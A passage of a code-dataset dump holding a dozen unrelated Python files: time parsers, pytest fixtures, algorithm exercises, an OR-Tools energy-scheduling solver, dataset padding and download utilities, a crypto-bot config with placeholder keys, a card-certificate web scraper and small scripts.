_MIN_TO_MM(min):\n \"2:20\"\n sp = str(min).split(\":\")\n if len(sp) == 3:\n hour, min, s = sp\n return int(hour) * 60 * 60 + int(min) * 60 + int(s)\n elif len(sp) == 2:\n min, s = sp\n return int(min) * 60 + int(s)\n\n\ndef _MIN_TO_MS(min):\n \"2:20.11\"\n sp = str(min).split(\":\")\n if len(sp) == 3:\n hour, min, s = sp\n s, ms = str(s).split(\".\")\n return int(hour) * 60 * 60 + int(min) * 60 + int(s) + float(ms) / 100\n elif len(sp) == 2:\n min, s = sp\n s, ms = str(s).split(\".\")\n return int(min) * 60 + int(s) + float(ms) / 100\n\n\ndef _STR_TO_FILE_NAME_(title):\n error_set = ['/', '\\\\', ':', '*', '?', '\"', '|', '<', '>']\n for c in error_set:\n title = str(title).replace(c, \"\")\n return title\n","sub_path":"build/lib/h_music/Utils/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"548214884","text":"import pytest\nimport pandas\nimport requests\nfrom app import create_app\nfrom pathlib import Path\nfrom zipfile import ZipFile\n\n@pytest.fixture\ndef app(request):\n app = create_app({\"cfg\": {\"test value\": 33}})\n app.configure_quandl()\n\n def delete_temp_files():\n if app.meta_csv_path.exists():\n app.meta_csv_path.unlink()\n if app.meta_zip_path.exists():\n app.meta_zip_path.unlink()\n\n request.addfinalizer(delete_temp_files)\n return app\n\n@pytest.fixture\ndef app_for_delete():\n app = create_app({\"cfg\": {\"test value\": 33}})\n app.configure_quandl()\n return app\n\ndef test_meta_get_request_returns_200(app):\n assert app.meta_get_request().status_code == 200\n\ndef test_meta_write_zip_writes_to_file(app):\n app.meta_write_zip()\n assert app.meta_zip_path.is_file()\n\ndef test_meta_unzip_unzips_data(app):\n app.meta_write_zip()\n app.meta_unzip()\n assert app.meta_csv_path.is_file()\n\ndef test_meta_remove_zip_removes_csvfile(app_for_delete):\n app_for_delete.meta_write_zip()\n app_for_delete.meta_unzip()\n app_for_delete.meta_cleanup()\n assert not app_for_delete.meta_csv_path.is_file()\n\ndef test_meta_remove_zip_removes_zipfile(app_for_delete):\n app_for_delete.meta_write_zip()\n app_for_delete.meta_unzip()\n app_for_delete.meta_cleanup()\n assert not app_for_delete.meta_zip_path.is_file()\n\ndef test_meta_get_codes_retrieves_codes(app):\n app.meta_write_zip()\n app.meta_unzip()\n app.meta_get_metadata()\n app.meta_get_codes()\n assert app.company_codes.size > 0\n\ndef test_meta_get_metadata_adds_metadata_to_app(app):\n app.meta_write_zip()\n app.meta_unzip()\n app.meta_get_metadata()\n assert app.company_metadata.size > 0\n\ndef test_meta_is_not_None(app):\n app.meta_write_zip()\n app.meta_unzip()\n app.meta_get_metadata()\n assert app.company_metadata is not None\n","sub_path":"tests/test_wse_meta.py","file_name":"test_wse_meta.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"262536718","text":"def find_nums_with_sum(nums, sum_):\r\n \"\"\"递增数组中和为sum_的两个数字\"\"\"\r\n p = 0\r\n q = len(nums) -1\r\n\r\n while p < q:\r\n if nums[p] + nums[q] == sum_:\r\n\r\n return nums[p], nums[q]\r\n\r\n elif nums[p] + nums[q] < sum_:\r\n\r\n p += 1\r\n\r\n elif nums[p] + nums[q] > sum_:\r\n\r\n q -= 1 \r\n \r\n return 'No such elements'\r\n\r\n\r\ndef find_continuous_sequence(sum_):\r\n \"\"\"和为sum_的所有连续正数序列\"\"\"\r\n if sum_ < 3:\r\n return\r\n \r\n small = 1\r\n big = 2\r\n middle = (1+sum_) / 2\r\n cur_sum = small + big\r\n\r\n while small < middle:\r\n if cur_sum == sum_:\r\n print_continuous_sequence(small, big)\r\n\r\n while cur_sum > sum_ and small < middle:\r\n cur_sum -= small\r\n small += 1\r\n\r\n if cur_sum == sum_:\r\n print_continuous_sequence(small, big)\r\n\r\n big += 1\r\n cur_sum += big\r\n \r\n\r\ndef print_continuous_sequence(small, big):\r\n for i in range(small, big+1):\r\n print(i, end=\", \")\r\n \r\n print('')\r\n\r\n \r\nif __name__ == \"__main__\":\r\n nums = [1, 2, 4, 7, 11, 15]\r\n sum_ = 15\r\n print(find_nums_with_sum(nums, sum_))\r\n find_continuous_sequence(sum_)\r\n ","sub_path":"interview/num_list/57-find_num_with_sum.py","file_name":"57-find_num_with_sum.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"230425965","text":"\n\nfrom xai.brain.wordbase.nouns._going import _GOING\n\n#calss header\nclass _GOINGS(_GOING, ):\n\tdef __init__(self,): \n\t\t_GOING.__init__(self)\n\t\tself.name = \"GOINGS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"going\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_goings.py","file_name":"_goings.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"313747847","text":"import numpy as np\nimport pandas as pd\nfrom ortools.linear_solver import pywraplp\nimport matplotlib.pyplot as plt\n\nheadings = ['Hour 0', 'Hour 1', 'Hour 2', 'Hour 3', 'Hour 4', 'Hour 5', 'Hour 6', 'Hour 7', 'Hour 8', 'Hour 9',\n 'Hour 10', 'Hour 11', 'Hour 12', 'Hour 13', 'Hour 14', 'Hour 15', 'Hour 16', 'Hour 17', 'Hour 18',\n 'Hour 19', 'Hour 20', 'Hour 21', 'Hour 22', 'Hour 23', 'Label']\n\n# Import TestingData (100 abnormal curves). Note this is loaded into Excel CSV to set column headings\nguideline_curves = pd.read_csv(\"TestingResults.txt\", sep=',', names=headings)\n\n# Filter out abnormal curves\nabnormal_curves = guideline_curves[guideline_curves['Label'] == 1]\nnormal_curves = guideline_curves[guideline_curves['Label'] == 0]\n\nprint(\"\\n ----------- Abnormal Curves Data --------------\")\nprint(abnormal_curves.head())\n\nprint(\"\\n ----------- Normal Curves Data --------------\")\nprint(normal_curves.head())\n\n# Import the 5 users and 50 tasks dataset\nuser_tasks = pd.read_csv(\"UsersTasksCSV.csv\", sep=',')\nprint(\"\\n ----------- User Tasks Data --------------\")\nprint(user_tasks.head())\n\n# Iterate through each abnormal guideline curve (~51 of them)\nfor curve_ID, curve_row in abnormal_curves.iterrows():\n # Instantiate a Glop solver, naming it SolveStigler.\n solver = pywraplp.Solver.CreateSolver('GLOP')\n\n # Create solver objective\n objective = solver.Objective()\n\n # Instantiate a dictionary to store all variables (FOR ALL ROWS). Form: { Key: x23 : Value: 23 }\n all_variables = dict()\n\n for task_ID, task_row in user_tasks.iterrows():\n # Temp dictionary to store variables on each row. CLEARED ON EACH ROW. Form: { Key 23 : Value x23 }\n variables = dict()\n\n # Create the variables from the ready to deadline (inclusive)\n for num in range(task_row[1], (task_row[2] + 1)):\n var = solver.NumVar(0, solver.infinity(), 'x' + str(num))\n variables[num] = var\n all_variables[var] = num\n\n # Temp list to hold all variables in this row (constraint 2)\n row_variables = []\n\n # Constraint: 1 <= variable <= 1 (less than maximum scheduled energy per hour)\n for key in variables:\n solver.Add(0 <= variables[key] <= task_row[3])\n row_variables.append(variables[key])\n\n # Constraint 2: x20 + x21 + x22 + x23 = 3 (sum of variables in row is equal to energy demand)\n solver.Add(sum(row_variables) == task_row[4])\n\n # Set objective (min cost function) coefficients\n # cost: hour 0 cost * (sum of x0 vars) + ... + hour 23 cost * (sum of x23 vars)\n for key in variables:\n objective.SetCoefficient(variables[key], curve_row[key])\n\n # Solve for for the min cost\n status = solver.Solve()\n\n # Min Cost List\n cost_per_hour = []\n\n # Print out min cost solution for all 5 users for that curve\n print(\"Curve number\", curve_ID+1, '. Total MIN cost:', solver.Objective().Value())\n\n # Iterate through all variables to sum all variable solutions at each hour\n # This is the minimal cost solution (for all users) for the barchart\n for hour in range(0, 24):\n min_cost = 0\n for key, value in all_variables.items():\n if value == hour:\n min_cost += key.solution_value()\n\n cost_per_hour.append(min_cost)\n\n # Hour variables used in bar chart\n hour = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18',\n '19', '20', '21', '22', '23']\n\n\n plt.bar(hour, cost_per_hour)\n plt.ylabel(\"Total Unit Cost / Consumption\")\n plt.xlabel(\"Time Slot (Hour)\")\n plt.yticks(np.arange(min(cost_per_hour), max(cost_per_hour) + 1, 1.0))\n plt.title(\"Abnormal Curve #\" + str(curve_ID+1) + \"\\nMin cost solution for all 5 users: \"\n + str(round(solver.Objective().Value(), 2)))\n plt.savefig(\"AbnormalCharts/AbnormalCurve\"+str(curve_ID+1)+\".png\")\n\n # Clear plot data for next iteration\n plt.clf()\n","sub_path":"Python Project/LPSolver.py","file_name":"LPSolver.py","file_ext":"py","file_size_in_byte":4016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"236759459","text":"import os\nimport shutil\nimport random\nimport requests\nfrom functools import reduce\n\nimport torch\nfrom ..utils import ConfigError\n\n\ndef ratio_split(data, train_ratio, test_ratio, dev_ratio=None, shuffle=True):\n \"\"\" Split dataset according to the ratio.\n\n Args:\n data (list): The data to be splitted.\n\n train_ratio (float): The proportion of train_set, the value should\n be in [0, 1.].\n\n test_ratio (float): The proportion of test_set, the value should\n be in [0, 1.].\n \n dev_ratio (float): The proportion of dev_set, the value should\n be in [0, 1.].\n\n shuffle (bool): If shuffle the data before splitting.\n \"\"\"\n if shuffle:\n random.shuffle(data)\n\n N = len(data)\n train_len = int(round(train_ratio * N))\n\n if not dev_ratio:\n test_len = N - train_len\n else:\n test_len = int(round(test_ratio * N))\n return (\n data[:train_len],\n data[train_len : train_len + test_len],\n data[train_len + test_len :],\n )\n\n\ndef pad(\n batch,\n pad_index,\n sos_index,\n eos_index,\n fix_len=None,\n pad_last=True,\n return_tensor=False,\n):\n \"\"\" Pad each sequence in the batch.\n Each sequece should be a list of string, e.g. `['how', 'are', 'you']`.\n\n Args:\n batch (list[list[int]]): A list of numeralized sequences to be padded.\n\n fix_len (int): Set the fixed length of a padding sequence mannually, \n the default is the maximum length of batch.\n\n pad_last (bool): Set to `True` to populate padding token\n at the end of each sequence, `False` to populate at the begining.\n\n Returns:\n batch (list[list[int]]): A list of sequences after padding.\n\n lengths (list[int]): Lengths of original sequences,\n can be used for `pack_padded_sequence` and \n `pad_packed_sequence` in `torch.nn.utils.rnn`.\n \"\"\"\n\n if len(batch) < 1:\n return batch\n\n # add 2 to each length for 'sos' and 'eos' token.\n lengths = [len(sequence) + 2 for sequence in batch]\n\n if fix_len is None:\n fix_len = max(lengths) - 2\n\n if pad_last:\n batch = list(\n map(\n lambda s: [sos_index]\n + s\n + [eos_index]\n + [pad_index] * (fix_len - len(s)),\n batch,\n )\n )\n else:\n batch = list(\n map(\n lambda s: [pad_index] * (fix_len - len(s))\n + [sos_index]\n + s\n + [eos_index],\n batch,\n )\n )\n\n if return_tensor:\n batch, lengths = torch.tensor(batch), torch.tensor(lengths)\n if torch.cuda.is_available():\n batch, lengths = batch.cuda(), lengths.cuda()\n\n return batch, lengths\n\n\ndef batches_to_tensor(batches, *args, **kwargs):\n \"\"\" Pad the batches and return as torch.Tensor.\n\n Args:\n batches: (tuple(list(str))): Each batch in this tuple will\n be padded and return as torch.Tensor\n\n \"\"\"\n\n results = []\n\n pad_index = None\n\n if len(args) == 3:\n pad_index, sos_index, eos_index = args\n\n if len(kwargs) == 3:\n pad_index = kwargs[\"pad_index\"]\n sos_index = kwargs[\"sos_index\"]\n eos_index = kwargs[\"eos_index\"]\n\n if pad_index is None:\n raise ConfigError(\"Need `pad_index`, `sos_index` and `eos_index`\")\n\n for batch in batches:\n result = pad(\n batch=batch,\n fix_len=None,\n pad_last=True,\n pad_index=pad_index,\n sos_index=sos_index,\n eos_index=eos_index,\n return_tensor=True,\n )\n results.append(result)\n\n return tuple(results)\n\n\ndef resolve_nested(obj, nested_key):\n \"\"\" A helper function that gets and returns the value of \n a nested data structure through the passed nested key.\n\n Args:\n obj (object): The nested data structure to resolve the value.\n\n nested_key (str): The nested key to be resolved.\n \"\"\"\n keys = nested_key.split(\".\")\n\n def reducer(obj, key):\n if isinstance(obj, list):\n values = []\n for data in obj:\n if key not in data:\n # key error\n raise ValueError(\n \"Specified key {} was not found in \"\n \"the input data\".format(key)\n )\n else:\n values.append(data[key])\n return values\n else:\n # key error\n if key not in obj:\n raise ValueError(\n \"Specified key {} was not found in \"\n \"the input data: {}\".format(key, obj)\n )\n else:\n return obj[key]\n\n return reduce(reducer, keys, obj)\n\n\ndef download(url, path, file_name):\n print(\"downloading \" + file_name)\n outfile = os.path.join(path, file_name)\n with requests.Session() as session:\n response = session.get(url, stream=True)\n CHUNK_SIZE = 32768\n with open(outfile, \"wb\") as f:\n for chunk in response.iter_content(CHUNK_SIZE):\n if chunk:\n f.write(chunk)\n response.close()\n\n\ndef untar(path, file_name):\n print(\"unpacking \" + file_name)\n fullpath = os.path.join(path, file_name)\n shutil.unpack_archive(fullpath, path)\n os.remove(fullpath)\n","sub_path":"snow/data/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"632519499","text":"# Module to scrap fine-grain details associated with a given certificate id\r\nfrom selenium import webdriver\r\nfrom bs4 import BeautifulSoup\r\nimport csv\r\nimport os\r\nimport re\r\nfrom dateutil.parser import parse\r\n\r\n# Selenium Driver Handler\r\ndef load_driver(SELENIUM_EXECUTABLE_PATH=r'/mnt/c/Users/adity/Downloads/Chrome/geckodriver-v0.27.0-win64/geckodriver.exe'):\r\n driver = webdriver.Firefox(executable_path=SELENIUM_EXECUTABLE_PATH)\r\n return driver\r\n\r\n# Utility to write as .csv file format\r\ndef save_to_csv(data, SAVE_PATH, MODE):\r\n flag = os.path.isfile(SAVE_PATH)\r\n if not os.path.exists(SAVE_PATH.split('/')[0]):\r\n os.makedirs(SAVE_PATH.split('/')[0])\r\n\r\n fileWriter = csv.DictWriter(open(SAVE_PATH, MODE), data[0].keys(), delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\r\n if not flag:\r\n fileWriter.writeheader() # Loading header only once, i.e., first-time load\r\n fileWriter.writerows(data)\r\n\r\n# Data-field validation (data-integrity)\r\ndef validate_date(date):\r\n try:\r\n parse(date)\r\n return True\r\n except ValueError:\r\n return False\r\n\r\n# Cleaning noisy, structureless field to extract reference URL\r\ndef format_registry_url(str_msg):\r\n try:\r\n url_ref = ''\r\n if 'href' in str_msg:\r\n href_subset = str_msg[str_msg.index('href')+6:]\r\n url_ref = '/'.join(BASE_PATH.split('/')[:-1]) + href_subset[:href_subset.index('\">')]\r\n return url_ref\r\n except:\r\n return None\r\n\r\n# Fetch a dataframe row as an unique set\r\ndef get_particular_unique_rows(file_path, index):\r\n rows = []\r\n try:\r\n with open(file_path) as csvfile:\r\n data = csv.reader(csvfile, delimiter=',')\r\n for row in data:\r\n if row[index] not in rows:\r\n rows.append(row[index])\r\n except:\r\n pass\r\n return rows\r\n\r\n# Main handler controlling certificate parsing\r\ndef persist_certification_details(certificate_id, SAVE_PATH='logs/certificate.csv'):\r\n BASE_PATH='https://www.psacard.com/cert'\r\n url = '/'.join([BASE_PATH, certificate_id])\r\n driver = load_driver()\r\n driver.get(url)\r\n soup=BeautifulSoup(driver.page_source, features=\"lxml\")\r\n driver.quit()\r\n\r\n certificate_details = soup.find_all(\"div\", attrs={\"class\": \"cert-container\"})[0].findAll('tr')[2:]\r\n if len(certificate_details) == 0:\r\n return\r\n\r\n # Certificate Map is the dataframe we are interested in growing in our scrapping scheme\r\n certificate_map = {'certificate_number': certificate_id}\r\n ptr = 0\r\n try:\r\n if not len(certificate_details[0].contents[-1].contents[0]) == 4:\r\n certificate_map['reverse_cert_number'] = certificate_details[ptr].contents[-1].contents[0]\r\n ptr += 1\r\n else:\r\n certificate_map['reverse_cert_number'] = None\r\n except:\r\n certificate_map['reverse_cert_number'] = None\r\n\r\n certificate_map['year'] = certificate_details[ptr].contents[-1].contents[0]\r\n ptr += 1\r\n certificate_map['brand'] = certificate_details[ptr].contents[-1].contents[0]\r\n ptr += 1\r\n certificate_map['sport'] = certificate_details[ptr].contents[-1].contents[0]\r\n ptr += 1\r\n certificate_map['card_number'] = certificate_details[ptr].contents[-1].contents[0]\r\n ptr += 1\r\n certificate_map['player'] = certificate_details[ptr].contents[-1].contents[0]\r\n ptr += 1\r\n certificate_map['variety_or_pedigree'] = certificate_details[ptr].contents[-1].contents[0]\r\n ptr += 1\r\n certificate_map['grade'] = certificate_details[ptr].contents[-1].contents[0]\r\n ptr += 1\r\n\r\n # Adding PSA Auction Prices Realized\r\n realized_auction_prices = soup.find_all('table', attrs={\"class\": \"apritem-results\"})[0].findAll('tr')\r\n date = realized_auction_prices[0].contents[-1].contents[0]\r\n if validate_date(date):\r\n certificate_map['date'] = date\r\n certificate_map['price'] = realized_auction_prices[1].contents[-1].contents[0]\r\n certificate_map['auction_house'] = realized_auction_prices[2].contents[-1].contents[0]\r\n certificate_map['lot_number'] = realized_auction_prices[3].contents[-1].contents[0]\r\n else:\r\n certificate_map['date'] = certificate_map['price'] = certificate_map['auction_house'] = certificate_map['lot_number'] = None\r\n\r\n # Adding current PSA registry sets\r\n registry_sets = soup.find_all('div', attrs={\"class\": \"col-xs-12\"})\r\n certificate_map['registry_set_msg'] = str(soup.find_all('p')[3].contents)\r\n certificate_map['registry_set_url'] = format_registry_url(certificate_map['registry_set_msg'])\r\n certificate_map['population'] = registry_sets[0].find('span').contents[0]\r\n certificate_map['population_w_equal'] = registry_sets[1].find('span').contents[0]\r\n certificate_map['population_higher'] = registry_sets[2].find('span').contents[0]\r\n\r\n # Save to CSV\r\n save_to_csv([certificate_map], SAVE_PATH, 'a')\r\n return\r\n\r\ndef main():\r\n # Main entry point to iterate over all incremental (new) certificates loaded\r\n # - This utility only differntially runs for new certificates\r\n TRANSACTION_FILE_PATH = 'logs/transaction.csv'\r\n CERTIFICATION_FILE_PATH = 'logs/certificate.csv'\r\n existing_certificates_in_transaction = set(get_particular_unique_rows(TRANSACTION_FILE_PATH, 11))\r\n existing_certificates_in_certificates = set(get_particular_unique_rows(CERTIFICATION_FILE_PATH, 0))\r\n new_certificates = existing_certificates_in_transaction - existing_certificates_in_certificates\r\n\r\n # Iterating over new certificates to load them into our ecosystem (raw-layer)\r\n for new_certificate in new_certificates:\r\n persist_certification_details(new_certificate)\r\n\r\n print (\"Total New Certificates Added = \", len(new_certificates))\r\n\r\n# Capability for stand-alone execution\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"Alt_DE/psacard/populate_certificates.py","file_name":"populate_certificates.py","file_ext":"py","file_size_in_byte":5865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"509749008","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\npath('index/',views.index,name='index'),\npath('askquestion//',views.askquestion,name='askquestion'),\npath('intro/',views.intro,name='intro'),\npath('getdata/',views.getdata,name='getdata'),\npath('insertdata/',views.insertdata,name='insertdata'),\npath('updatedata//',views.updatedata,name='updatedata'),\npath('deletedata//',views.deletedata,name='deletedata'),\n]","sub_path":"Python/Djangoprojects/crudproject/crudapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"632385283","text":"############################### Configuration file ############################################################\n\n#### Price-related setup \nbitmex_margin = 3 # margin you would like to use on bitmex \n\n#### Timers \n\n# Set up the speedrun multiplier if need to test with higher speeds. 1 is normal, 2 is 2x faster \nspeedrun = 1 \n\n# Robot\nsleep_timer = 30 # Generic sleep timer (robot). Applicable for the main monitoring loop and for the mooning procedure.\nsleep_timer_buyback = 60 # Sleep timer for buybacks \nsleep_sale = 30 # Sleep timer for sell orders to be filled \nflash_crash_ind = 0.5 # If something falls so much too fast - it is unusual and we should not sell (checking for 50% crashes)\n\n# Buy\nbuy_sleep_timer = 180 # Sleep timer in seconds for buy task. changed to 3 minutes because orders were filling way too quickly at a higher price. 180 is 3 min \norders_check = 5 # Orders sequence for a market price calculation \n\n## Interval and number of checks to get current (last) prices \nsteps_ticker = 3 \nsleep_ticker = 10 # so that ticker in total takes 30 seconds \n\n## Steps and timer for buybacks \ncandle_steps = 80 # 100 for 5 min, 80 for 4\ncandle_sleep = 2.8 # Tested, 3 sec lead to having ~5 min 30 sec in between \n\n#### Price analysis periods \n# Time analysis candles length \ntd_period = '4h' # possible options are in line with ohlc (e.g. 1h, 4h, 1d, 3d); customisable. This sets up smaller time interval for dynamic stop losses and buy backs \ntd_period_extended = '1d' # possible options are in line with ohlc (e.g. 1h, 4h, 1d, 3d); customisable. This sets up larger time interval for buy backs (should be in line with the smaller one) \n\n#### Logins and passwords, comm method\ncomm_method = 'chat' # 'mail' or 'chat'\n\n# Gmail login and pass (if used) \nfromaddr = \"fromaddress@gmail.com\" # replace to a proper address \ntoaddr = \"to@address.com\" # replace to a proper address \nemail_passw = \"your_gmail_pass\"\n\n#### Platform and system settings \nnix_folder = '/home/illi4/Robot/' # your unix machine folder (if you use nix) \ntrade_hist_filename = 'Trade_history.xlsx' # trade history file name \ntimedelta = '11:00:00' # convert price information to your local time. for Sydney, it is 11 hours (+11) \nlocal_curr = 'AUD' # symbol to change the price to your local currency (for balance command) \nlocal_curr_fixed = 1.25 # exchange from USD to your local in case the url request does not work \n\n# Directories to copy (if needed - I am using this for backing up data on Dropbox) \ndir_from = '/home/illi4/Robot/price_log'\ndir_to = '/home/YOUR_FOLDER'\n\n# Commands to start a terminal in your *nix environment\ncmd_init = 'gnome-terminal --tab -e \"python ' + nix_folder + 'robot.py ' # do not remove this space in the end\ncmd_init_buy = 'gnome-terminal --tab -e \"python ' + nix_folder + 'smart_buy.py ' # do not remove this space in the end\n\n############### API KEYS ######################## (!) Replace with your values \n\n# Initialising clients with api keys \nbittrex_apikey = 'key'\nbittrex_secret = 'secret'\n\nbinance_apikey = 'key'\nbinance_secret = 'secret'\n\nbitmex_apikey = 'key'\nbitmex_secret = 'secret'\n\n## Coinigy keys \ncoinigy_key = 'key'\ncoinigy_secret = 'secret'\n\n############## Telegram settings #################### (!) Replace with your values \n\n# Telegram functions \ntelegram_token = \"robot_token\"\ntelegram_url = \"https://api.telegram.org/bot{}/\".format(telegram_token)\n\ntelegram_key = \"key\" \ntelegram_secret = \"secret\" \ntelegram_chat_id = 111111111111 # replace this too \ntelegram_check_sec = 1\n\n######## Exchanges - commission rates ###############\ncomission_rate_bittrex = 0.003 # rate is 0.25% + 0.05% for contingency in roundings etc \ncomission_rate_binance = 0.001 # rate is 0.1% + 0.05% for contingency in roundings etc \ncomission_rate_bitmex = 0 # no commissions as such when opening a position \n\n######## Price logger - which prices to collect ###########\nmarkets_list = [\n #['BTC-CTR' , 'BINA'], \n #['BTC-MUSIC' , 'BTRX'], \n #['USDT-USD', 'KRKN'], \n #['USDT-BTC', 'BTRX'], \n #['USDT-BTC' , 'BINA'], \n #['BTC-LTC' , 'BTRX'], \n #['BTC-DASH' , 'BTRX'], \n #['BTC-MUSIC' , 'BTRX'], \n #['BTC-XMR' , 'BTRX'], \n #['BTC-NEO' , 'BTRX'], \n #['BTC-ETH' , 'BTRX'], \n #['BTC-POWR' , 'BTRX'],\n #['USD-BTC' , 'BITS'], \n ['XBT-USD' , 'BMEX'], \n ['XRPH18', 'BMEX'], \n ['ETHH18', 'BMEX'], \n ['BCHF18', 'BMEX'], \n ['DASHH18', 'BMEX'], \n ['ETC7D', 'BMEX'], \n]\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":4904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"449869990","text":"#Multiplicates file1 at the end of file2\n\ndef modIndex(inf,opf,startnr):\n file1 = open(inf,'r')\n file2 = open(opf,'w')\n\n nrr = 0\n \n Lines = file1.readlines()\n\n for line in Lines: \n row = line.strip()\n if(\"n*r\" in row):\n row = row.replace(\"n*r=\", \"\")\n nrr = int(row)\n\n print(str(nrr))\n\n i = 0\n i = startnr\n #i = int(input(\"Number to start counting from: \"))\n\n for line in Lines:\n row = line.strip()\n if(\"n*r\" in row):\n row = row.replace(\"n*r=\", \"\")\n file2.write(\"n*r=\"+str(i)+\"\\n\")\n i=i+1\n else:\n file2.write(row + \"\\n\")\n\n\n file1.close()\n file2.close()\n\n\ndef appendatob(a,b):\n file1 = open(a,'r')\n file2 = open(b,'a')\n\n Lines = file1.readlines()\n\n file2.write(\"\\n\")\n\n for line in Lines:\n row = line.strip()\n file2.write(row + \"\\n\")\n\n file1.close()\n file2.close()\n\nprint(\"done\")\n\n\ntimes = input(\"how many times you want to duplicate the data? : \")\nfor i in range(int(times)):\n appendatob(\"sample.txt\",\"big.txt\")\n\nmodIndex(\"big.txt\",\"sample.txt\",0)\n \n \n\n\n\n","sub_path":"LETTERMULTIPLICATOR.py","file_name":"LETTERMULTIPLICATOR.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"618223580","text":"'''\nImplement next permutation, which rearranges numbers into the lexicographically next greater permutation of numbers.\n\nIf such arrangement is not possible, it must rearrange it as the lowest possible order (ie, sorted in ascending order).\n\nThe replacement must be in-place and use only constant extra memory.\n\nHere are some examples. Inputs are in the left-hand column and its corresponding outputs are in the right-hand column.\n\n1,2,3 → 1,3,2\n3,2,1 → 1,2,3\n1,1,5 → 1,5,1\n\n1  2  7  4  3  1\n下一个排列为:\n1  3  1  2  4  7\n如果从末尾往前看,数字逐渐变大,到了2时才减小的,\n然后我们再从后往前找第一个比2大的数字,是3,那么我们交换2和3,再把此时3后面的所有数字转置一下即可\n'''\n# 2018-6-19\n# Next Permutation\nclass Solution1:\n def nextPermutation(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: void Do not return anything, modify nums in-place instead.\n \"\"\"\n # 1. get the start index of non-increasing sequence from tail\n # 2. swap\n # 3. sort the non-increasing\n if not nums: return nums\n l = len(nums)\n i = l - 2 \n j = l - 1\n while i >= 0 and nums[i] >= nums[i+1]:\n i -= 1\n while j > i and nums[j] <= nums[i]:\n j -= 1\n nums[i], nums[j] = nums[j], nums[i] # 直接交换两个数\n nums[i+1:] = sorted(nums[i+1:])\n# test\nnums = [1,2,5,6,4]\ntest = Solution1()\ntest.nextPermutation(nums)\nprint(nums)","sub_path":"LeetCode/python/31___medium_Next Permutation.py","file_name":"31___medium_Next Permutation.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"15975558","text":"import numpy as np\nfrom mat2gray import mat2gray\nfrom skimage.transform import resize \nfrom scipy.ndimage import zoom\n\ndef imresize(img,dim):\n tmp=resize(img,dim,order=3)\n return tmp\n\n# def imresize(img,dim):\n# factor=(np.array(dim)/np.array(img.shape)).tolist()\n# tmp=zoom(img,factor,order=3)\n# return tmp\n\n\ndef get_2d_feature_imgs(data):\n \n data=data.astype(np.float32)\n \n size=224\n \n t1,t2 = 50,1800\n imMean=np.zeros((size,size,3),dtype=np.uint8)\n for dim in range(3):\n img = np.mean(data,dim)\n img=mat2gray(img,[t1,t2])\n img=imresize(img,[size,size])\n img=(img*255).astype(np.uint8)\n imMean[:,:,dim]=img\n \n \n t1,t2 = 100,3200\n imMax=np.zeros((size,size,3),dtype=np.uint8)\n for dim in range(3):\n img = np.max(data,dim)\n img=mat2gray(img,[t1,t2])\n img=imresize(img,[size,size])\n img=(img*255).astype(np.uint8)\n imMax[:,:,dim]=img\n\n \n \n t1,t2 = 0,1000\n imStd=np.zeros((size,size,3),dtype=np.uint8)\n for dim in range(3):\n img = np.std(data,dim,ddof=1)\n img=mat2gray(img,[t1,t2])\n img=imresize(img,[size,size])\n img=(img*255).astype(np.uint8)\n imStd[:,:,dim]=img\n \n return imMean,imMax,imStd","sub_path":"python/example_prediction/get_2d_feature_imgs.py","file_name":"get_2d_feature_imgs.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"253093249","text":"#Potencia\n\nprint(\"Programa que permite obtener la potencia de un numero\")\n#Declarar e inicializar variables\n\nbase=0\npot=0\ncont=1\nresul=1\n\n#Ingresar los datos\nbase=int(input(\"Ingresar la base de la potencia: \"))\n\npot=int(input(\"Ingresar la potencia: \"))\n\n#Ciclo repetitivo que obtiene la potencia de un numero\nwhile cont<=pot:\n resul=resul*base\n cont=cont+1\n\n#Presentar el resultado\nprint(f\"La potencia de: {base} elevado a {pot} es: {resul} \")\n\n","sub_path":"Potencia.py","file_name":"Potencia.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"206855690","text":"# ※※※※※※※※※※※※※※※※\n# ※ 一万時間日本語聴解計算機 ※\n# ※※※※※※※※※※※※※※※※\n\n# 日本語を一万時間聴く事がどの位掛かるのかを計算してくれるプログラム。\n\n\ndef main():\n title = \"※ 一万時間日本語聴解計算機 ※\"\n\n # プログラム=タイトル=デザインの制作。\n print()\n create_boarder( title ) # タイトルの枠を作る。\n print()\n print( title ) # プログラムのタイトルを示す。\n create_boarder( title ) # タイトルの枠を作る。\n print()\n print()\n input( \"「Enter」のボタンを押して下さい……。\" 